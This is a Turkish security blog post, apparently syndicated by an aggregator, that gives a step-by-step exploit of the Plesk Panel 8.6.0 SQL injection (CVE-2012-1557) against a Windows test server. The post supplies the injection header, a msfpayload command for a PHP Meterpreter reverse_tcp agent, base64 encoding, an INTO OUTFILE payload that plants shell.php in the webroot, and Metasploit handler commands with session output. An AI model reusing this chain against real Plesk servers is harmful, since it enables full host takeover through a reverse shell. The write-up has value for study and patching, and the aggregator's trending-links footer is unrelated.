Quantcast
Channel: Bilgi Güvenliği AKADEMİSİ
Viewing all articles
Browse latest Browse all 331

Plesk Panel SQL Injection İstismari ile İşletim Sistemi Ele Geçirme

$
0
0
Bu yazı hosting sistemlerinde yönetim amaçlı kullanılan Plesk Panel yazılımına ait 8.6.0 versiyonunda çıkmış SQL injection zafiyetinin(CVE-2012-1557) istismar edilerek arka planda çalışan işletim sisteminin (yazıda Windows örneği kullanılmıştır) ele geçirilmesi adımlarını anlatmaktadır.

Senaryo :
Paralell Plesk Panel 8.6.0(CVE-2012-1557) SQL Enjeksiyon istismarı ile hedef sistemi ele geçirme.

Kullanılan Araçlar :
PHP Meterpreter Ajanı(Metasploit ile oluşturulacak.)
Burp, Tamper Data ya da HTTP Header'ı Düzenleyen Araç vs... Araç

Yapıldığı Test Ortamı :
Windows Server 2008 R2

İstismara Sebep olan Yöntem :
İstismar, API RPC Protokolunu kullanan sistemden kaynaklanıyor. API RPC, Panel ile 3. parti yazılımları arasında kopru gorevi goren bir protokoldur. API RPC üzerinden bir işlemi gerçekleştirebilmek için kullanacağımız noktalardan bir tanesi (https://[IP ADRESI]/enterprise/control/agent.php) üzerinden üzerinden HTTP isteği göndermemiz gerekiyor. Bize geriye XML çıktı göndermektedir. 
Bu XML bir çeşit hata mesajı yada data geriye sonuc olarak döndürmektedir. Protokol istekleri bir XML yapıya göre işlediği için, en azından boş değere sahip xml etiketlerini belirtmemiz gerekiyor. (Aşağıda belitilmiştir.)

Buradan HTTP üzerinden gönderebileceğimiz HTTP_AUTH_LOGIN ve HTTP_AUTH_PASSWD parametrelerini kullanmak zorundayız. Protokol Panelin kullanmış olduğu(MySQL yada MSSQL) üzerinden sorgulamalar yapmaktadır. Bu sorgulamalar yapılırken HTTP_AUTH_LOGIN parametresi üzerinde hiç bir önlem alınmamış.

Birinci Adım : SQL Enjeksiyonun Tespiti

Header içeriği :
POST https://6.6.6.4:8443/enterprise/control/agent.php
HTTP_AUTH_LOGIN: '
HTTP_AUTH_PASSWD: bgatest
Content-type: text/xml
Cookie: ASPSESSIONIDACSSBBAD=HMILPMGDCDINOCGDAEAOHJNF
Host: 6.6.6.4:8443
Content-Length: 89
Connection: Keep-alive
Accept-Encoding: gzip,deflate
User-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/28.0.1500.63 Safari/537.36
Accept: */*
Content-Type: text/xml
Header isteğimizi gönderdikten sonraki bize dönen sonuç, bir sql enjeksiyon istismarı olduğunu gösteriyor.
Çıktı :
   
  
  error
  1002
  DB query failed: You have an error in your SQL syntax; check the manual that corresponds to your MySQL server version for the right syntax to use near ''''' at line 1
  
  
   C:\Parallels\Plesk\admin\plib\common_func.php3:243
C:\Parallels\Plesk\admin\plib\class.AdminAlias.php:313
C:\Parallels\Plesk\admin\plib\cmd_loginup.php:147
C:\Parallels\Plesk\admin\plib\api-rpc\Agent.php:134
C:\Parallels\Plesk\admin\htdocs\enterprise\control\agent.php:22

  
   
İkinci Adım : Shell Oluşturulması
Sisteme arka kapı yazılımıyüklemek için Metasploit ile PHP Meterpreter ajanı oluşturulabilir. Bunun için;

msfpayload php/meterpreter/reverse_tcp LHOST=[IP ADRESINIZ] LPORT=6666 R > exploit.php

exploit.php dosyasının içeriğini açtığımız zaman,içerisinde reverse tcp bizim sisteme reverse tcp bağlantısı kurabilecek kodlar bulunmaktadır.

Oluşan dosya içerisinde yorum satırlarını kaldırarak, base 64 ile encode edilebilir.
sed  -e '/^\s*[@#]/ d' exploit.php | base64 >> new_exploit.php

Böylelikle encode edilmiş istismar kodumuz oluşmuş oldu.

Üçüncü Adım : Shell Dosyasının Gönderilmesi

Oluşan base 64 kodunu alarak, header’a ekleyelim. Sadece yukarıda belirtilen headerdan aşağıdaki değişiklik yapılır.
HTTP_AUTH_LOGIN: ‘ UNION SELECT ‘’ INTO OUTFILE ‘C:\\Parallels\\Plesk\\admin\\htdocs\\enterprise\\control\\shell.php’#

OUTFILE : Dosyanın çıktının nereye alınacağını belirtir. Normalde Plesk Panel, Kurulum yeri değiştirilmediği sürece “Program Files” altına yüklemektedir.

HTTP isteğini gönderdikten sonra Karşımız şu şekilde sonuç çıkacaktır. Bu işlemimizin başarılı olarak gerçekleştiğini ortaya koymaktadır.

Fatal error: Call to a member function fetch_row() on a non-object in C:\Parallels\Plesk\admin\plib\common_func.php3 on line 337

Dördüncü Adım : Metasploit ile sistemi ele geçimek

Metasploit başlatılarak, use exploit/multi/handler diyerek dinleme moduna alınır. reverse_tcp payload modülü yüklenir.

msf > use exploit/multi/handler
msf  exploit(handler) > set LHOST [IP_ADRESINIZ]
msf  exploit(handler) > set LPORT 6666
LPORT => 6666
msf  exploit(handler) > set payload php/meterpreter/reverse_tcp
payload => php/meterpreter/reverse_tcp
msf  exploit(handler) > exploit

[*] Started reverse handler on 192.168.1.4:6666
[*] Starting the payload handler...

Dinlemeyi başlattıktan sonra, shell’i attığınız dizinden tarayıcıdan sayfa çağırılır.
https://[IP_ADRESINIZ]:8443/enterprise/control/shell.php

Bu işlemden sonra hedef sistem artık ele geçirilmiştir.

[*] Sending stage (39848 bytes) to 6.6.6.4
[*] Meterpreter session 1 opened (6.6.6.154:6666 -> 6.6.6.4:49329) at 2014-01-07 18:46:50 +0200

meterpreter > sysinfo
Computer: WIN-KF2TKNVRA40
OS      : Windows NT WIN-KF2TKNVRA40 6.1 build 7600
Meterpreter : php/php

Rizacan TUFAN < rizacan.tufan@bga.com.tr >

Viewing all articles
Browse latest Browse all 331

Trending Articles


Mide ağrısı için


Alessandra Torre - Karanlık Yalanlar


Şekilli süslü hazır floodlar


Flatcast Güneş ve Ay Flood Şekilleri


Gone Are the Days (2018) (ENG) (1080p)


Yildiz yükseltme


yc82


!!!!!!!!!! Amın !!!!!!!!!


Celp At Nalı (Sahih Tılsım)


SCCM 2012 Client Installation issue